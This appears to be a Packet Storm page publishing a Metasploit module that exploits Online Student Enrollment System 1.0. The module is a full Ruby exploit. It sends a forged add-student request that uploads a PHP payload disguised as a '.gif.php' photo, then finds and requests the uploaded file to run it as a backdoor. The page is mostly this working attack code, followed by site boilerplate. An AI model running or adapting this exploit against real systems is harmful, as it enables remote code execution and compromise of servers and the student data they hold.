exploit the possibilities

Online Student Enrollment System 1.0 Shell Upload

Online Student Enrollment System 1.0 Shell Upload
Posted Jun 25, 2020
Authored by BKpatron, th3d1gger | Site metasploit.com

This Metasploit module exploits a cross site request forgery vulnerability in Online Student Enrollment System version 1.0 to perform a shell upload.

tags | exploit, shell, csrf
MD5 | 5b27f66c5ed24e68abd5443719b457a4

Online Student Enrollment System 1.0 Shell Upload

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require "net/http"
require "uri"
require 'nokogiri'



class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking

include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient



def initialize(info = {})
super(update_info(info,
'Name' => 'Online Student Enrollment System v1.0 Shell Upload ',
'Description' => %q{
This module exploits CSRF Vulnerability on Online Student Enrollment System v1.0.
},
'Author' => [ 'th3d1gger', 'bkpatron' ],

'License' => 'MSF_LICENSE',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic', {} ],
],
'DefaultTarget' => 0 ))
register_options(
[
OptString.new('TARGETURI', [ true, 'Student Enrollment System uriPath', '/student_enrollment/'])



], self.class)
end

def targeturi
datastore['TARGETURI']
end




def online_reg





@fname = "#{rand_text_alphanumeric(rand(10)+6)}.gif.php"
php = "<?php #{payload.encoded} ?>"
post_data = Rex::MIME::Message.new
post_data.add_part(rand_text_alphanumeric(rand(10)+6), nil, nil,'form-data; name="name"')
post_data.add_part(rand(9999).to_s, nil, nil, 'form-data; name="roll"') #rolling in the deep lol
post_data.add_part(rand_text_alphanumeric(rand(9)+6).to_s, nil, nil, 'form-data; name="address"')
post_data.add_part('01'+rand_text_alphanumeric(rand(6)+6).to_s, nil, nil, 'form-data; name="pcontact"')
post_data.add_part('2nd', nil, nil, 'form-data; name="class"')
post_data.add_part(php, 'application/octet-stream', nil, "form-data; name=\"photo\"; filename=\"#{@fname}\"")
post_data.add_part('Add Student', nil, nil, 'form-data; name="addstudent"')

post_datacan = post_data.to_s

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore["TARGETURI"]+'/admin/index.php?page=add-student'),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookies' => 'PHPSESSID=9178c6b337bdcff98de7fa66a8047f3d;',
'data' => post_datacan
})

if res.body.include?('Inserted!')

print_status("backdoor uploaded")
uri = URI.parse('http://'+rhost.to_s+':'+rport.to_s+datastore['TARGETURI'].to_s+'admin/images/')
http = Net::HTTP.new(uri.host, uri.port)


request = Net::HTTP::Get.new(uri.request_uri)

response = http.request(request)
doc = Nokogiri::HTML(response.body)

# Get all anchors via xpath to find uploaded file
nodeset = doc.xpath('//a')
hrefler = nodeset.map {|element| element["href"]}.compact
hrefler.each { |n|
if n.include?('.php')
#blind execution of payload
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI']+'/admin/images/'+n)

})
end
}

sleep(60)

else
#print res.body
print_status("Upload Failed because of roll duplicate.Try Again!.")
end


end



def exploit
online_reg

if online_reg.nil?
fail_with(Failure::Unknown, 'Something went wrong!')
end
end
end
Login or Register to add favorites

File Archive:

October 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    25 Files
  • 2
    Oct 2nd
    13 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    1 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    15 Files
  • 7
    Oct 7th
    15 Files
  • 8
    Oct 8th
    11 Files
  • 9
    Oct 9th
    3 Files
  • 10
    Oct 10th
    1 Files
  • 11
    Oct 11th
    1 Files
  • 12
    Oct 12th
    8 Files
  • 13
    Oct 13th
    12 Files
  • 14
    Oct 14th
    23 Files
  • 15
    Oct 15th
    4 Files
  • 16
    Oct 16th
    13 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    1 Files
  • 19
    Oct 19th
    27 Files
  • 20
    Oct 20th
    41 Files
  • 21
    Oct 21st
    15 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close